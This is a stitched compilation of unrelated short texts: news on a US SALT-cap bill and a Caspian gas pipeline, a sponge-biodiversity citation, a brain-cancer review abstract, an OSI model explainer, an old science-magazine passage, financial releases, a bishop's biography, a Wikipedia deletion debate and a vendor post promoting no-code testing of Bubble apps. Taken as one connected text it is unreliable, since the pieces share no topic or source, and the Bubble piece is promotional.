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The Democratic-controlled House passed a bill on Thursday that would do away with the $10,000 limit on the itemized deduction for state and local taxes for two years. Legislators narrowly voted in favor and did so largely along party lines: 218 to 206. The measure, dubbed the "Restoring Tax Fairness for States and Localities Act" or HR 5377, proposes increasing the so-called SALT cap to $20,000 for married taxpayers who are filing jointly in 2019. It also calls for the elimination of the SALT cap in 2020 and 2021. The bill, sponsored by Rep. Thomas Suozzi, D-N.Y, along with Reps. Bill Pascrell, D-N.J., and Mike Thompson, D-Calif., marked the latest effort by blue states to fight back against certain provisions in the Tax Cuts and Jobs Act. The 2018 overhaul of the tax code placed the $10,000 cap on SALT deductions. "This has been a high priority for Democrats in the House since the Tax Cuts and Jobs Act was passed," said Nicole Kaeding, vice president of policy promotion at the National Taxpayers Union Foundation. "The concern has been over the impact of the limit on individuals in high-tax states such as New York, New Jersey and California," she said. Though the bill is unlikely to get much further in the remaining weeks of the year, there's always the possibility it may return in 2020. "There is no chance that this bill is getting through the Senate, but I think Democrats will continue to talk about the impact of the SALT deduction," Kaeding said. Legislators in support of the bill plan to continue pushing. "This is going to continue to be an issue that comes up every year until we pass and sign it into law," said Rep. Josh Gottheimer, D-N.J. "It's a hit to so many parts of the country, a tax hike for my district and for a lot of us in the Northeast and on the coasts." "I'm not willing to give up on this version [of the bill] until we actually do everything we possibly can to convince the Senate to include it," he said. New York, New Jersey and California are among the states where taxpayers are feeling the brunt from the $10,000 SALT cap. Among New Yorkers who itemized in 2017, the average SALT deduction claimed was $23,804, according to the Tax Policy Center. New Jersey itemizers wrote-off an average of $19,162 on state and local taxes that year, while Californians claimed $20,451, the Center found. These states are also home to some of the highest income taxes in the nation. Meanwhile, New Jersey residents are paying some of the highest property taxes. Controversy over the SALT cap also has spurred litigation by the affected states. New York, Connecticut, Maryland and New Jersey have filed suit against the Treasury Department and the IRS, asserting that the SALT deduction limit was unconstitutional. Separately, New York, New Jersey and Connecticut are also fighting the Treasury Department and the IRS in court over the agencies' move to block workarounds established by the three states. Suozzi's bill also calls for raising the highest marginal individual income tax rate. The Tax Cuts and Jobs Act slashed individual income tax rates across the board, lowering the top rate for the highest earners to 37% from 39.6%. The proposed legislation would raise the rates back up to 39.6% for the highest earners and reduce the income threshold at which the top rate would apply. "It's hard to see it happening as a standalone bill, even with the rate increase," said Jared Walczak, director of state tax policy at the Tax Foundation. "It's hard to see it happening unless it's part of a much larger tax bill," he said. | NEWS-MULTISOURCE |
@article{NARMS:SourceID:275237, abstract = {Although sponges are important components of benthic ecosystems of the Caribbean Sea, their diversity remained poorly investigated in the Lesser Antilles. By organizing a training course in Martinique, we wanted both to promote taxonomy and to provide a first inventory of the sponge diversity on this island. The course was like a naturalist expedition, with a field laboratory and a classroom nearby. Early-career scientists and environmental managers were trained in sponge taxonomy. We gathered unpublished data and conducted an inventory at 13 coastal sites. We explored only shallow water habitats (0±30 m), such as mangroves, reefs or rocky bottoms and underwater caves. According to this study, the sponge fauna of Martinique is currently represented by a minimum of 191 species, 134 of which we could assign species names. One third of the remaining non-identified sponge species we consider to be new to science. Martinique appears very remarkable because of its littoral marine fauna harboring sponge aggregations with high biomass and species diversity dominating over coral species. In mangroves, sponges cover about 10% of the surface of subtidal roots. Several submarine caves are true reservoirs of hidden and insufficiently described sponge diversity. Thanks to this new collaborative effort, the Eastern Caribbean has gained a significant increase of knowledge, with sponge diversity of this area potentially representing 40% of the total in the Caribbean Sea. We thus demonstrated the importance of developing exploratory and educational research in areas historically devoid of biodiversity inventories and systematics studies. Finally, we believe in the necessity to consider not only the number of species but their distribution in space to evaluate their putative contribution to ecosystem services and our willingness to preserve them}, author = {Pérez, T. and Díaz, M.C. and Ruiz, C. and Cóndor-Luján, B. and Klautau, M. and Hajdu, E. and Lôbo-Hajdu, G. and Zea, S. and Pomponi, S.A. and Thacker, R.W. and Carteron, S. and Tollu, G. and Pouget-Cuvelier, A. and Thélamon, P. and Marechal, J.-P. and Thomas, O.P. and Ereskovsky, A.E. and Vacelet, J. and Boury-Esnault, N.}, doi = {10.1371/journal.pone.0173859}, journal = {PLoS ONE}, issue = {3}, title = {How a collaborative integrated taxonomic effort has trained new spongiologists and improved knowledge of Martinique Island (French Antilles, eastern Caribbean Sea) marine biodiversity.}, url = {https://vliz.be/vmdcdata/narms/narms.php?p=sourcedetails&id=275237}, volume = {12}, year = {2017} } | ESSENTIALAI-STEM |
Brain Cancer: Implication to Disease, Therapeutic Strategies and Tumor Targeted Drug Delivery Approaches | Bentham Science
Brain Cancer: Implication to Disease, Therapeutic Strategies and Tumor Targeted Drug Delivery Approaches
Author(s): Viral Shah* , Pratiksha Kochar .
Journal Name: Recent Patents on Anti-Cancer Drug Discovery
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Background: Cancer is one of the leading causes of morbidity and mortality worldwide. Brain cancer is identified as one of the most formidable forms of cancer due to several hurdles posed by the anatomy and physiology of the brain on the therapeutic strategies employed for treating brain cancer. Poor prognosis and high relapse rate further aggravate the situation leading to the high mortality rate in brain cancer.
Objective: The present review gives a brief insight on different aspects of brain cancer by elucidating its types, causative factors, associated symptoms, diagnostic techniques, treatment strategies and limitations of current treatment strategies. The review summarizes novel drug delivery based treatment strategies for tumor targeting.
Methods: Conventional surgical or chemotherapy based strategies are less efficient for treating brain cancer. Surgery is risky because extracting the tumors can permanently damage the brain and alter the patient's ability to function. Sometimes, surgery cannot be performed because of the anatomical location of the tumor which is beyond the reach or near to any vital region. Drug based therapy requires heavy doses to cross the blood brain barrier leading to systemic toxicity. The review summarizes fifteen different patented technologies for targeting the drug substance specifically to the tumor site in the brain.
Result: Targeted drug delivery strategies serve as an efficient tool for treating brain cancer.
Conclusion: Novel strategies focused towards targeting drug substances specifically to brain tumor site would increase the therapeutic efficiency and reduce the toxicity of chemotherapeutics.
Keywords: Blood brain barrier, brain cancer, chemotherapy, drug delivery to brain, treatment strategies, tumor targeting.
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Definition
OSI model (Open Systems Interconnection)
What is OSI model (Open Systems Interconnection)?
OSI (Open Systems Interconnection) is a reference model for how applications communicate over a network. This model focuses on providing a visual design of how each communications layer is built on top of the other, starting with the physical cabling, all the way to the application that's trying to communicate with other devices on a network.
A reference model is a conceptual framework for understanding relationships. The purpose of the OSI reference model is to guide technology vendors and developers so the digital communications products and software programs they create can interoperate and to promote a clear framework that describes the functions of a networking or telecommunications system that's in use.
Most vendors involved in telecommunications try to describe their products and services in relation to the OSI model. This helps them differentiate among the various transport protocols, addressing schemes and communications packaging methods. And, although it's useful for guiding discussion and evaluation, the OSI model is theoretical in nature and should be used only as a general guide. That's because few network products or standard tools keep related functions together in well-defined layers, as is the case in the OSI model. The Transmission Control Protocol/Internet Protocol (TCP/IP) suite, for example, is the most widely used network protocol, but even it doesn't map cleanly to the OSI model.
History of the OSI model
In the 1970s, technology researchers began examining how computer systems could best communicate with each other. Over the next few years, several competing models were created and published to the community. However, it wasn't until 1984 when the International Organization for Standardization (ISO) took the best parts of competing networking reference models to propose OSI as a way to finally create a framework that technology companies around the world could use as the basis of their networking technologies.
From ISO's perspective, the easiest way to create a conceptual model was to organize the models into different abstraction layers required to organize and send data between computing systems. Looking inside each abstracted layer to see the details shows one part of this network communication process. Each layer can be thought of as a separate communication module or piece of the puzzle. But, to actually accomplish the goal of sending data from one device to another, each module must work together.
How the OSI model works
Information technology (IT) networking professionals use OSI to model or conceptualize how data is sent or received over a network. Understanding this is a foundational part of most IT networking certifications, including the Cisco Certified Network Associate (CCNA) and CompTIA Network+ certification programs. As mentioned, the model is designed to break down data transmission standards, processes and protocols over a series of seven layers, each of which is responsible for performing specific tasks concerning sending and receiving data.
The main concept of OSI is that the process of communication between two endpoints in a network can be divided into seven distinct groups of related functions, or layers. Each communicating user or program is on a device that can provide those seven layers of function.
In this architecture, each layer serves the layer above it and, in turn, is served by the layer below it. So, in a given message between users, there will be a flow of data down through the layers in the source computer, across the network and then up through the layers in the receiving computer. Only the application layer at the top of the stack doesn't provide services to a higher-level layer.
The seven layers of function are provided by a combination of applications, operating systems (OSes), network card device drivers, networking hardware and protocols that enable a system to transmit a signal over a network through various physical mediums, including twisted-pair copper, fiber optics, Wi-Fi or Long-Term Evolution (LTE) with 5G.
7 layers of the OSI model
What is the function of each layer of the OSI model? The seven Open Systems Interconnection layers are the following.
Layer 7. The application layer
The application layer enables the user -- human or software -- to interact with the application or network whenever the user elects to read messages, transfer files or perform other network-related tasks. Web browsers and other internet-connected apps, such as Outlook and Skype, use Layer 7 application protocols.
Layer 6. The presentation layer
The presentation layer translates or formats data for the application layer based on the semantics or syntax the application accepts. This layer also handles the encryption and decryption that the application layer requires.
Layer 5. The session layer
The session layer sets up, coordinates and terminates conversations between applications. Its services include authentication and reconnection after an interruption. This layer determines how long a system will wait for another application to respond. Examples of session layer protocols include X.225 and Zone Information Protocol (ZIP).
Layer 4. The transport layer
The transport layer is responsible for transferring data across a network and provides error-checking mechanisms and data flow controls. It determines how much data to send, where it gets sent and at what rate. TCP within the TCP/IP suite is the best-known example of the transport layer. This is where the communications select TCP port numbers to categorize and organize data transmissions across a network.
Layer 3. The network layer
The primary function of the network layer is to move data into and through other networks. Network layer protocols accomplish this by packaging data with correct network address information, selecting the appropriate network routes and forwarding the packaged data up the stack to the transport layer. From a TCP/IP perspective, this is where IP addresses are applied for routing purposes.
Layer 2. The data-link layer
The data-link, or protocol layer, in a program handles moving data into and out of a physical link in a network. This layer handles problems that occur as a result of bit transmission errors. It ensures that the pace of the data flow doesn't overwhelm the sending and receiving devices. This layer also permits the transmission of data to Layer 3, the network layer, where it's addressed and routed.
The data-link layer can be further divided into two sublayers. The higher layer, which is called logical link control (LLC), is responsible for multiplexing, flow control, acknowledgement and notifying upper layers if transmit/receive (TX/RX) errors occur.
The media access control sublayer is responsible for tracking data frames using MAC addresses of the sending and receiving hardware. It's also responsible for organizing each frame, marking the starting and ending bits and organizing timing regarding when each frame can be sent along the physical layer medium.
Layer 1. The physical layer
The physical layer transports data using electrical, mechanical or procedural interfaces. This layer is responsible for sending computer bits from one device to another along the network. It determines how physical connections to the network are set up and how bits are represented into predictable signals as they're transmitted either electrically, optically or via radio waves.
Layers 1 through 7 of the OSI model
The 7 layers of the OSI model
Cross-layer functions
Cross-layer functions, or services that may affect more than one layer, include the following:
• security service telecommunication as defined by the International Telecommunication Union Standardization Sector (ITU-T) X.800 recommendation;
• management functions that enable the configuration, instantiation, monitoring and terminating of the communications of two or more entities;
• Multiprotocol Label Switching (MPLS), which operates at an OSI model layer that lies between the Layer 2 data-link layer and the Layer 3 network layer -- MPLS can carry a variety of traffic, including Ethernet frames and IP packets;
• Address Resolution Protocol (ARP) translates IPv4 addresses (OSI Layer 3) into Ethernet MAC addresses (OSI Layer 2); and
• domain name system (DNS), which is an application layer service that's used to look up the IP address of a domain name.
Pros and cons of the OSI model
The OSI model has a number of advantages, including the following:
• It's considered a standard model in computer networking.
• The model supports connectionless, as well as connection-oriented, services. Users can take advantage of connectionless services when they need faster data transmissions over the internet and the connection-oriented model when they're looking for reliability.
• It has the flexibility to adapt to many protocols.
• The model is more adaptable and secure than having all services bundled in one layer.
The disadvantages of the OSI model include the following:
• It doesn't define any particular protocol.
• The session layer, which is used for session management, and the presentation layer, which deals with user interaction, aren't as useful as other layers in the OSI model.
• Some services are duplicated at various layers, such as the transport and data-link layers.
• Layers can't work in parallel; each layer must wait to receive data from the previous layer.
OSI model vs. TCP/IP model
The OSI reference model describes the functions of a telecommunication or networking system, while TCP/IP is a suite of communication protocols used to interconnect network devices on the internet. TCP/IP and OSI are the most broadly used networking models for communication.
The OSI and TCP/IP models have similarities and differences. The main similarity is in their construction, as both use layers, although the OSI model consists of seven layers, while TCP/IP consists of just four layers.
Another similarity is that the upper layer for each model is the application layer, which performs the same tasks in each model but may vary according to the information each receives.
The functions performed in each model are also similar because each uses a network and transport layer to operate. The OSI and TCP/IP model are mostly used to transmit data packets, although they each use different means and paths to reach their destinations.
Additional similarities between the OSI and TCP/IP models include the following:
• Both are logical models.
• Both define standards for networking.
• They each divide the network communication process in layers.
• Both provide frameworks for creating and implementing networking standards and devices.
• They enable one manufacturer to make devices and network components that can coexist and work with the devices and components made by other manufacturers.
• Both divide complex functions into simpler components.
Differences between the OSI and TCP/IP models include the following:
• OSI uses three layers -- application, presentation and session -- to define the functionality of upper layers, while TCP/IP uses only the application layer.
• OSI uses two separate layers -- physical and data-link -- to define the functionality of the bottom layers, while TCP/IP uses only the link layer.
• OSI uses the network layer to define the routing standards and protocols, while TCP/IP uses the internet layer.
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UPDATE 2-Top policymakers reassure Europe on Azeri gas deadline
(Adds stakeholder comments, background) BAKU, Feb 23 (Reuters) - The Southern Gas Corridor will start pumping gas from the Caspian Sea to Europe by 2020, its backers said on Thursday, despite the risk of delays to this option for reducing dependence on Russia. Politicians and ministers meeting in Baku backed the $40 billion, 3,500-km (2,200-mile) chain of pipelines, a step towards curbing Russia’s one-third share of Europe’s natural gas market. The Trans Adriatic Pipeline (TAP) is the project’s end piece, joining up with the Trans Anatolian Pipeline at the Turkish border, then crossing Greece and Albania to reach Italy. But the slow pace of work in Italy’s Puglia region and growing concern over Azerbaijan’s ability to honour its supply commitments — it faces domestic shortfalls — have knocked confidence in the project. Sponsors sought to soothe concerns. Italian Industry Minister Carlo Calenda said that work to clear a major hurdle to establishing TAP’s landing point in southern Italy — a grove of more than 200 ancient olive trees — would begin on Monday. The trees stand in the way of Europe’s best hope of realising a decade-long plan to open the continent to new gas suppliers. Local authorities want the pipeline re-routed away from the grove, which includes trees thought to be more than 400 years old. That could delay a project meant, in three years, to carry the equivalent of 10 percent of Europe’s Russian energy imports. “There are no problems with the construction of the Italian section of the TAP pipeline,” Calenda told reporters in Baku, the capital of Azerbaijan. In a largely unified front, Azeri President Ilham Aliyev pledged to implement the Southern Gas Corridor on time, saying delays would be unacceptable, though even he seemed to make pointed reference to hold ups on the Italian end. “Someone can seek excuses in ecological problems, but I’m sure that all ecological standards are fully respected and the project will be implemented in time,” Aliyev said. European Commission Vice-President Maros Sefcovic said talks were under way about replanting the trees on time. Azerbaijan is also considering using supplies from the Total -operated Absheron gasfield in the Caspian Sea to fill out one of the world’s longest pipeline projects, easing concern over growing domestic shortfalls eating into the share left over for exports. The BP-led consortium developing Azerbaijan’s giant Shah Deniz II gas field was until now solely responsible for filling the pipeline. Elshad Nassirov, the vice president of Azerbaijan’s state-run oil company SOCAR, said the consortium developing Absheron had taken part for the first time in a meeting of the Southern Gas Corridor’s supervisory board on Thursday. Azerbaijan’s Energy Minister Natig Aliyev said countries such as Bosnia, Croatia and Montenegro seeking to join the Trans Adriatic Pipeline section offer new possibilities. Under this scenario, one section of TAP would continue as planned across Greece, Albania and into Italy, while another part may feed into a separate link, known as the Ionian Adriatic Pipeline, in Albania to go up through the Balkans. Aliyev said Azerbaijan could also export gas to Bulgaria once the Bulgaria-Greece interconnector was completed in 2019. A TAP spokeswoman said its route remained unchanged but acknowledged the possibility of spurs feeding into regional infrastructure. (Reporting by Nailia Bagirova, additional reporting by Alissa De Carbonnel in Brussels; Writing by Oleg Vukmanovic,; Editing by Joseph Radford/Ruth Pitchford) | NEWS-MULTISOURCE |
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electrical conductors is avoided, and that the capital invested is smaller than is required for gas-works. Heretofore the difficulty experienced by electricians has been to divide the light without weakening in too large a degree its power. Should the system of Messrs. Molera and Cebrian prove a practical success, it may be economically used in lighting not only private residences and public institutions, but even whole cities."
Color-Blindness of Seamen.—An article on color-blindness, in a late number of the "English Mechanic," quotes some very important facts from the records of the British Board of Trade, derived from examinations of seamen applying for "mate's" or "master's" certificates, concerning their ability to distinguish colors. We select a few from the many instances of colorblindness detected by these examinations. One seaman, a candidate for a second master's certificate, described green glass as "dark red"; in another case a green card was called "yellow"; and a man who had been over eighteen years at sea was reported as quite unable to distinguish any of the colors. Another who had been more than seven years at sea described the red glass by daylight as "green," the dark green as "red," and the yellow as "red"; while by gaslight he named the light blue "green," the dark green "red," and the yellow "red." This appears to be a case of Daltonism, or incapability of perceiving the red end of the spectrum. There are several similar instances which differ only in details; but perhaps the most interesting case is that of a candidate for a second mate's certificate who had served nearly five years at sea—a case that ought to have been sent to a court of appeal. By daylight he described the red card as "green," the yellow and green glasses "red," and the red glass as "dark green." By artificial light he called the yellow and green glasses "red," and the white glass "dark green." This man obtained a certificate from the London Ophthalmic Hospital testifying that he was not color-blind, but on reëxamination he still described dark green as "red," light green as "neutral," and yellow as "red" by artificial light, while by daylight he called the green glasses "red" once and "yellow" once. This last difference may have been caused by the manner in which the question was put, and ignorance of the names of colors. In view of these facts, the query suggests itself, may not the recent dreadful accident to the steamer Champion have been due to the inability of the lookout to distinguish the lights on the other ship, which was discovered only when near enough to take in her general outline?
Apprentice-Schools in France.—This is the title of a highly suggestive paper on the subject of science teaching in the public schools, read by Professor S. P. Thompson at the last meeting of the British Association. As the subject is daily acquiring new importance in this country, we present a pretty full abstract of the paper as it appeared in "Nature." The problem to be solved, in the author's opinion, is, how to give that technical training and scientific knowledge to artisan children which their occupation demanded, without detaining them so long at their schooling as to create a distaste for manual labor. There were four solutions of the problem, all of which had been tried, and illustrations of which could be seen in Paris. They were: 1. Send the children to work in the factory or workshop at an earlier age, making it obligatory all through their apprenticeship that they should have every day a certain number of hours' schooling in a school in the workshop or attached to it; 2. Keep the children at school as long as their education was unfinished, but set up a workshop in the school, where they should pass a certain amount of time every day so as to gain at least an aptitude for manual labor; 3. Organize a school and a workshop side by side and coöordinate the hours given to study with an equal number of hours devoted to systematic manual labor; and, 4. Send the children half the day to the existing schools, and the other half to work half-time in the workshop or factory. Schools of the first type had existed in France for nearly thirty years, and at the close of 1878 there were no fewer than 237 schools of this character. So far as he was aware, there was only one school of the second type—the Ecole communale d'Apprentis, in the Rue Tournefort, Paris. The peculiarity of this school was that workshop training was being given to lads who had not yet completed a course | WIKI |
SEI Investments Q1 Profit Rises- Quick Facts
(RTTNews) - Financial services company SEI Investments Co. (SEIC) on Wednesday recorded higher earnings in the first quarter, helped by improved revenues and a net gain from investments. Earnings and revenues came in above the Street expectations.
The company posted first-quarter net income of $129.5 million, or $0.89 per share, up 19 percent from last year's $109.2 million, or $0.72 per share.
On average, 6 analysts polled by Thomson Reuters expected the company to report earnings of $0.88 per share in the quarter. Analysts' estimates usually exclude one-time items.
Quarterly revenues rose 10 percent to $455.7 million from $414.8 million in the year-ago quarter. Five analysts expected the company to report revenues of $455 million in the quarter.
The company recorded a net gain from investments of around $332 thousand during the first quarter, compared to a net loss of around $4 million in the prior-year period.
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Abraham Julios
Dr. Abraham Mar Julios (born 25 May 1945) is the Metropolitan Bishop of the Eparchy of Muvattupuzha of the Syro-Malankara Catholic Church. Abraham was born to late Varghese Kakkanattil in Padinjaremannil branch of Paramel family, Cherukole-Kozhenchery and Annamma Varghese in the village of Kalloopara, Thiruvalla. Having completed his school education, he joined the Infant Mary Minor Seminary, Thiruvalla in 1961. He completed his philosophical studies in St. Thomas Apostolic Seminary at Vadavathoor, Kottayam. He had his theological studies in Propaganda College, Rome. He was ordained priest by Metropolitan Zacharias Mar Athanasios. After his ordination, he served as parish priest of Mycavu and Ounjil in Kozhikkodu. From 1974 to 1979 Abraham Kakkanattu was the Procurator and the Director of the Social Service Society of the Eparchy of Tiruvalla. Meanwhile, he served as the vicar of the parishes of Thalavadi North and South. In 1978 he started Matha Senior Secondary School in Thumboly, Alleppey district.
In 1979 he was sent to Rome for doing higher studies in Bible and completed his bachelor's degree from Biblical Institute of Rome. He also pursued a Diploma in Eastern Languages. He completed scriptural research from Pontifical Urbaniana University in Rome and secured a Doctorate in Biblical Theology. He also secured a Master's Degree in Psychology from the University of Mysore. After the successful completion of his studies, Kakkanattu was appointed the Rector of St. Mary's Malankara Major Seminary, Trivandrum. The construction of the new building for the seminary began during this time. He undertook journeys abroad and discussions and classes in the eparchies of Syro-Malankara Catholic Church with a view of gaining support for the construction of the Seminary.
From 1990 to 1997 he was the vicar of the St. John's Cathedral, Tiruvalla and during this time he started St. John's ITC in Tiruvalla. He had been the president of Horticulture Society, Tiruvalla for seven years. In 1997 he was appointed the vicar of Chengaroor parish and the corporate manager of the School Administration Board of the Eparchy of Tiruvalla. On 5 February 2001, he was appointed the Director of Pushpagiri Medical College, Thiruvalla. He who initiated the Nursing College, Pharmacy College, Dental College, Medicity, Pushpagiri Heart Institute, Cyril Baselios Catholicos Hospital, Primary Health Centers at Pulikunnu, Perumthuruthy and Champakulam, Guest Houses and other related institutions. He relentlessly fought for the constitutional rights of Self Financing Colleges and other Minority Institutions.
On 18 January 2008, he was appointed the Metropolitan Bishop of the Eparchy of Muvattupuzha. He was ordained Remban on 30 January 2008 at St. John's Cathedral, Tiruvalla. Moran Mor Baselios Cleemis Catholicos ordained him Bishop on 9 February 2008 at the Cathedral of Muvattupuzha. | WIKI |
Wikipedia:Articles for deletion/KF Tirana's top scorers in Albanian Superliga
The result was delete. Ron Ritzman (talk) 22:56, 26 December 2010 (UTC)
KF Tirana's top scorers in Albanian Superliga
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Pure listcruft. Unreferenced article and seemingly no way of verifying most of the stats given. J Mo 101 (talk) 15:08, 19 December 2010 (UTC)
* Note: This discussion has been included in WikiProject Football's list of association football-related deletions. J Mo 101 (talk) 15:11, 19 December 2010 (UTC)
* Delete or Move to List of KF Tirana players.--EchetusXe 16:20, 19 December 2010 (UTC)
* Delete - as nom says, this is just one step too far. GiantSnowman 16:46, 19 December 2010 (UTC)
* Delete - per nom. It seems an overly specific list to me. Sir Sputnik (talk) 19:49, 19 December 2010 (UTC)
* Note: This debate has been included in the list of Lists of people-related deletion discussions. -- • Gene93k (talk) 23:13, 19 December 2010 (UTC)
* Keep, KF Tirana is the main football team of Albania and it's history needs to be preserved.--Vinie007 12:29, 20 December 2010 (UTC)
* Delete if content cannot be verified, otherwise merge to KF Tirana. In any case, no need for a separate list, as per nom. --Soccer-holicI hear voices in my head... 16:54, 20 December 2010 (UTC)
* Delete even if content can be verified, an unnecessary list that we don't need to create for every professional team for every sport worldwide. the top 3 can be listed in main team articl. LibStar (talk) 01:56, 23 December 2010 (UTC)
* Comment - To clarify, a top scorers' list already exists in the KF Tirana article, so if this article is deleted there is no need to merge any content. J Mo 101 (talk) 19:39, 23 December 2010 (UTC)
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Independent Bank Corporation Announces Shareholder Approval to Acquire Traverse City State Bank
GRAND RAPIDS, Mich. and TRAVERSE CITY, Mich., March 15, 2018 (GLOBE NEWSWIRE) -- Independent Bank Corporation (NASDAQ:IBCP), the parent company of Independent Bank, with total assets of approximately $2.8 billion, and TCSB Bancorp, Inc. (“TCSB”), the parent company of Traverse City State Bank, with total assets of approximately $350 million, previously announced the signing of a definitive merger agreement on Dec. 4, 2017 for IBCP to acquire TCSB.
The proposed transaction has been approved by TCSB shareholders with 99% of the votes received approving the transaction. As previously announced the proposed transaction has also been approved by both the Federal Reserve Bank of Chicago and the Michigan Department of Insurance and Financial Services. The merger of IBCP and TCSB is currently expected to be effective on Apr. 1, 2018.
About Independent Bank Corporation
Independent Bank Corporation (NASDAQ:IBCP) is a Michigan-based bank holding company with total assets of approximately $2.8 billion. Founded as First National Bank of Ionia in 1864, Independent Bank Corporation operates a branch network across Michigan's Lower Peninsula through one state-chartered bank subsidiary. This subsidiary (Independent Bank) provides a full range of financial services, including commercial banking, mortgage lending, investments and insurance. Independent Bank Corporation is committed to providing exceptional personal service and value to its customers, stockholders and the communities it serves.
About TCSB Bancorp, Inc.
TCSB Bancorp, Inc. is a Michigan-based bank holding company with total assets of approximately $350 million. Founded in 2000, TCSB is the parent company of Traverse City State Bank and provides a full array of banking services through five full-service branches in Grand Traverse and Leelanau counties.
please visit our Web sites at: IndependentBank.com and TCSB.com
Forward-Looking Statements
This release may contain “forward-looking statements” within the meaning of the U.S. Private Securities Litigation Reform Act of 1995. Any statements about our expectations, beliefs, plans, strategies, predictions, forecasts, objectives or assumptions of future events or performance are not historical facts and may be forward-looking. These statements include our expectation regarding the effective time of the proposed merger of IBCP and TCSB. Forward-looking statements involve estimates, known and unknown risks, assumptions and uncertainties that could cause actual strategies, actions or results to differ materially from those expressed in them, and are not guarantees of timing, future results or other events or performance. Because forward-looking statements are necessarily only estimates of future strategies, actions or results, based on management’s current expectations, assumptions and estimates on the date hereof, and there can be no assurance that actual strategies, actions or results will not differ materially from expectations, readers are cautioned not to place undue reliance on such statements. Factors that may cause such a difference include, but are not limited to, the failure of any condition to the closing of the proposed merger. Any forward-looking statement speaks only as of the date on which it is made, and IBCP undertakes no obligation to update any forward-looking statement, whether to reflect events or circumstances after the date on which the statement is made, to reflect new information or the occurrence of unanticipated events, or otherwise.
Contact: William B. (“Brad”) Kessel, President and CEO, Independent Bank Corporation, 616.447.3933 Robert (“Rob”) N. Shuster, Chief Financial Officer, Independent Bank Corporation, 616.522.1765 Constance (“Connie”) A. Deneweth, Chief Executive Officer, TCSB Bancorp, Inc., 231.995.5544 Ann M. Bollinger, President and Chief Financial Officer, TCSB Bancorp, Inc., 231.995.8020
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Test Bubble Apps with No-code testing
No-code development platforms are becoming increasingly popular as more companies look to reduce time to market as well as eliminate developer dependency and other rigors of app development. These platforms provide point-and-click tools that allow developers and non-developers to quickly design and launch applications, websites, marketplaces, web products, or tools.
Whether you're an enterprise-sized business looking to quickly design and launch workflow applications at a large scale or you're a startup with limited in-house engineering resources, no-code tools present a fast and often cheaper way of achieving your app development goals.
Bubble is perhaps the most popular and powerful no-code platform around today. The platform was founded by Emmanuel Straschnov and Josh Haas in New York in 2012. Its wide array of features and plugins allows users to build 100% customizable workflows and web applications ranging from simple test applications to complex Saas products or marketplaces.
Currently, the platform boasts more than 1 million users and has processed more than $1 billion in business revenue on its users' applications. Earlier this year, Bubble was named one of Fast Company's most innovative companies of 2021.
Benefits of Bubble for Building Web Apps
According to Emmanuel Straschnov, Bubble's co-founder and CEO, "Bubble is still the only comprehensive tool that lets you build the next Airbnb or Twitter without relying on engineers." The platform is now the go-to option for startups and industry giants who need a web platform that empowers them to efficiently deploy apps testing without writing a line of code.
Although you won't have access to the source code, Bubble's websites and web apps boast more advanced functionality than template-oriented website builders such as Squarespace and Wix offer. The mobile apps can only be launched on the Android or iOS stores even though they're non-native apps.
Here are some of the benefits of using Bubble for your next project:
1. Build Apps Faster
Speed is perhaps the most important benefit of Bubble as well as other no-code web application builders. By eliminating the programming stage, these platforms empower companies to improve their productivity and meet their deadlines faster. Even if you still have to code, Bubble significantly reduces the amount of code software engineers have to write, and the time they'll spend writing it.
2. Great for Small Teams with Limited Engineering Resources
Bubble is an excellent option for startups that have limited resources for building apps from scratch. The platform allows you to focus on the most important aspect of your project while helping you take care of redundancies. It's also great for testing out a business model as you can develop market-ready apps without committing excess human or financial resources.
3. Extensive Plugin and Template Libraries
Bubble boasts a diverse array of custom tools and plugins that make your development process seamless. Even with the free version, you get to work with Google and Braintree plugins. The paid version promises even more exciting features and integrations, but it's always advisable to start with the free version so you can have a better idea of what you need.
4. Great for Idea Visualization
Bubble allows you to visualize new ideas or concepts for existing products without dedicating too much time or resources. You'll easily see how viable the idea or new feature is and then decide whether to go all-in or not.
Con: no unit testing
Since there are no DevOps or code in place, it's not possible to do unit testing. As you probably know, unit testing helps you validate every piece in your application and ensures there's no hidden bug anywhere.
It also makes testing easier as you add more functionalities since you'll only have to retest the units you may have altered. Unfortunately, this testing method is not possible with Bubble. The only option is to execute UI testing, but there is no way to trigger them at this time.
Why You Need Automated Web Testing for Bubble Apps
Testing is an essential step that must precede website or app deployment. Through testing, you can detect and fix a wide array of glitches that may come up with your website or app and ensure your users have a smooth experience.
Unfortunately, the majority of testing platforms and frameworks are designed with programmers in mind. As a result, testers have to spend a great deal of time writing code to deploy the necessary testing protocols.
Since Bubble is a no-code platform, it's only fitting that there's an accompanying no-code tool for testing websites and apps built with Bubble.
Aside from making the testing process easier and faster, an automated web testing platform like Preflight also helps overcome Bubble's lack of unit testing protocols. Thus, you can deploy your apps and websites faster and with the utmost confidence.
Below are some of the advantages of using Preflight for testing your Bubble apps.
1. Find Bugs Before Your Users Find Them
With automated testing, you can rest assured you're deploying market-ready web or mobile apps. You would have tested the app's functionalities, performance, responsiveness, cross-browser compatibility, and other essential test points. This gives you the utmost assurance that your users will be getting a hitch-free experience when you launch.
2. Automate The Manual QA Process and Save Engineering Time
There's no denying that the manual QA process is time-consuming and resource-intensive. No matter your business volume, an automated web testing platform like Preflight saves you time and money when for your websites and applications testing.
You'll particularly find automated QA useful if you operate in a continuous integration and delivery ecosystem where you have to develop and test apps or app features multiple times per day. Automated QA also makes it much easier to spot problems and fix them since it takes less time than manually setting up tests.
3. Run All The Tests That Cover All Bubble Workflows
When building apps with Bubble, bugs can arise from either your own deployment or from Bubble itself. A comprehensive automated web testing tool like Preflight allows you to run all the tests covering all Bubble workflows and ensures you do not miss a bug from any source. The tool also tells you exactly where the bug is from, so it'd be easier to make changes.
How to Test Bubble Apps with No-Code Web Testing
Preflight is designed to help technical and non-technical users set up and deploy test protocols without breaking a sweat. Here's a guide to running testing Bubble apps with no-code web testing using Preflight:
1. Install the PreFlight Chrome Extension
The first step is to install Preflight's Chrome Extension and grant the necessary permissions. Afterward, you can start creating the tests on your Bubble apps.
2. Record Your Tests While Your Bubble App is Open
Recording with Preflight is as straightforward as it gets. Simply start recording while your Bubble app is open, and let us figure out what you're trying to do.
Email Testing
Preflight allows you to deploy variables to automate email testing in no time at all. The platform also makes randomizing inputs a breeze, allowing you to test faster and more accurately.
Videos, HTML Snapshots, Console Logs, and Network Calls
These help you understand exactly what happened during testing or where a bug was detected. Consequently, you can take the necessary action without going through the stress of investigating.
Automatically Fix Tests
Preflight has a top-of-the-line context-awareness feature that makes it the best solution for testing Bubble apps. Since Bubble has no selectors, context awareness comes into play because it understands how users navigate through a page or an action. Our AI navigates your app or website as a user, detects existing problems, fixes them, and shows you exactly how the problems were fixed.
